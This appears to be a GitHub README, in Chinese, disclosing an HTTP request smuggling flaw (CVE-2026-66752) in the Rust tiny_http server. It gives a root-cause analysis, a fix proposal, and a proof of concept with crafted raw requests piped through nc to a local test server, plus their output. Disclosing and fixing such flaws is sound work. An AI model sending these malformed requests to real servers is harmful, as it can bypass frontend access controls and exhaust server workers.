theopaid/CVE-2026-66752-HTTP-Request-Smuggling-via-Unparsed-Transfer-Encoding-Values-tiny_http-
GitHub: theopaid/CVE-2026-66752-HTTP-Request-Smuggling-via-Unparsed-Transfer-Encoding-Values-tiny_http-
披露 tiny_http 库因未校验 Transfer-Encoding 值而引发的 HTTP 请求走私漏洞(CVE-2026-66752),包含根因分析、概念验证及修复建议。
Stars: 0 | Forks: 0
# 安全公告:通过未解析的 Transfer-Encoding 值进行 HTTP 请求走私 (tiny_http)
**分配的 CVE ID:** CVE-2026-66752
## 摘要
tiny_http 仅检查是否存在 `Transfer-Encoding` 标头。它从不
查看其值。任何值,包括非 `chunked` 的编码以及
最终元素不是 `chunked` 的编码列表,都会导致 body 被
进行 chunk 解码,同时 `Content-Length` 会被直接丢弃。
正确解析传输编码的前端在与 tiny_http 处理同一个连接时,
会对这类请求的边界划定有所不同。两个参与者在同一个连接上对边界划定存在分歧,
这是导致请求走私的前提条件。发送带有非 chunked 编码的
非 chunked body 也会导致 tiny_http 读取 body 失败并完全不返回任何响应。
## 受影响版本
仓库 URL:https://github.com/tiny-http/tiny-http
| | |
|---|---|
| 受影响 | 所有发布版本,包括截至目前的最新版本 0.12.0 (2022-10-06) |
| 已验证 | 0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0 |
| 修复版本 | 截至撰稿时没有修复版本 |
## 严重程度
CWE-444 (HTTP 请求的不一致解释)。
CVSS 4.0 基础分:6.3(中危)
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:L/SI:L/SA:N`
## 威胁模型
发送原始 HTTP 请求的远程、未经身份验证的客户端。无需凭据或
用户交互。
请求走私的情况需要 tiny_http 位于一个前端或 CDN 之后,该前端或 CDN
转发 `Transfer-Encoding` 和 `Content-Length` 并正确应用 RFC 9112 第
6.1 节,这意味着它将最终元素不是
`chunked` 的编码列表视为非 chunked,并回退到 `Content-Length`。该前端和
tiny_http 随后会在 body 结束位置上产生分歧。
无响应请求的情况只需要具备连接能力,无需其他条件。
## 根本原因
`tiny_http-0.12.0/src/request.rs`,第 143 到 153 行。标头被定位并
克隆,但对其值仅进行了存在性测试:
```
143 // finding the transfer-encoding header
144 let transfer_encoding = headers
145 .iter()
146 .find(|h: &&Header| h.field.equiv("Transfer-Encoding"))
147 .map(|h| h.value.clone());
148
149 // finding the content-length header
150 let content_length = if transfer_encoding.is_some() {
151 // if transfer-encoding is specified, the Content-Length
152 // header must be ignored (RFC2616 #4.4)
153 None
```
随后,`tiny_http-0.12.0/src/request.rs` 第 218 到 221 行无条件地应用了 chunked
解码器:
```
218 } else if transfer_encoding.is_some() {
219 // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220 // over the message (RFC2616 #3.6)
221 Box::new(FusedReader::new(Decoder::new(source_data))) as Box
```
`transfer_encoding` 是一个包含原始值的 `Option`,并且
没有任何地方检查过其内容。RFC 9112 第 6.1 节要求请求的最终
编码必须是 `chunked`,并要求服务器以其他方式拒绝该消息;
同时第 6.3 节要求拒绝同时携带
`Transfer-Encoding` 和 `Content-Length` 的请求。
## 概念验证 (PoC)
步骤 1. 启动一个服务器,报告其读取的边界划定标头和 body。
```
use std::io::Read;
use tiny_http::{Response, Server};
fn main() {
let server = Server::http("127.0.0.1:8005").unwrap();
for mut request in server.incoming_requests() {
let te = request.headers().iter()
.find(|h| h.field.equiv("Transfer-Encoding"))
.map(|h| h.value.as_str().to_string());
let cl = request.headers().iter()
.find(|h| h.field.equiv("Content-Length"))
.map(|h| h.value.as_str().to_string());
let mut body = Vec::new();
let r = request.as_reader().read_to_end(&mut body);
println!("TE={:?} CL={:?} read={:?} body={:?}",
te, cl, r, String::from_utf8_lossy(&body));
let _ = request.respond(Response::from_string("ok"));
}
}
```
步骤 2. 发送一个带有 `Transfer-Encoding: identity`、匹配的
`Content-Length` 以及纯文本 body 的请求。任何前端都会将此 body 划定为
五个字节 `hello`。
```
printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: identity\r\nContent-Length: 5\r\n\r\nhello' | nc -w 2 127.0.0.1 8005
```
结果。tiny_http 对非 chunked 的 body 进行了 chunk 解码,将其丢弃,并
未发送任何响应。客户端会一直等待直到自身超时,并且连接被
消耗掉。
```
TE=Some("identity") CL=Some("5") read=Err(Custom { kind: InvalidInput, error: DecoderError }) body=""
```
步骤 3. 发送一个最终元素不是 `chunked` 的编码列表。
```
printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked, identity\r\n\r\n5\r\nhello\r\n0\r\n\r\n' | nc -w 2 127.0.0.1 8005
```
结果。tiny_http 接受了它并按 chunked 解码,而 RFC 9112 第 6.1 节
要求予以拒绝:
```
TE=Some("chunked, identity") CL=None read=Ok(5) body="hello"
```
作为对比,仅使用 `Content-Length` 以及正确的 `Transfer-Encoding: chunked`
行为均正常,并返回 `body="hello"`。
## 影响
当 tiny_http 位于正确解析传输编码的前端之后时,
这两个组件对于请求 body 结束位置的判定会产生分歧。攻击者
可以选择在该分歧任意一侧的字节,这是将请求从前端的路由和访问控制中走私出去的标准手法。
与是否存在前端无关,步骤 2 和 3 展示了一个极其简单的畸形请求,
它会占用一个 worker 且完全不返回任何响应,因此客户端无法判断
该请求是否已被拒绝。
## 修复建议
在 `src/request.rs` 第 144 行附近,将 `Transfer-Encoding` 按照其原本的逗号分隔列表进行解析:
对于带有 body 的请求,要求其最终编码必须是 `chunked`,
并使用 400 错误拒绝任何其他编码,而不是对其进行 chunk 解码。按照 RFC 9112 第
6.3 节对非代理服务器的要求,拒绝同时携带
`Transfer-Encoding` 和 `Content-Length` 的请求,而不是在第 150 行静默忽略
`Content-Length`。
当 body 读取器失败时,发送 400 错误,而不是在不作响应的情况下直接丢弃请求。
标签:CISA项目, HTTP请求走私, Rust, Web服务器, 可视化界面, 漏洞分析, 网络安全, 网络流量审计, 路径探测, 隐私保护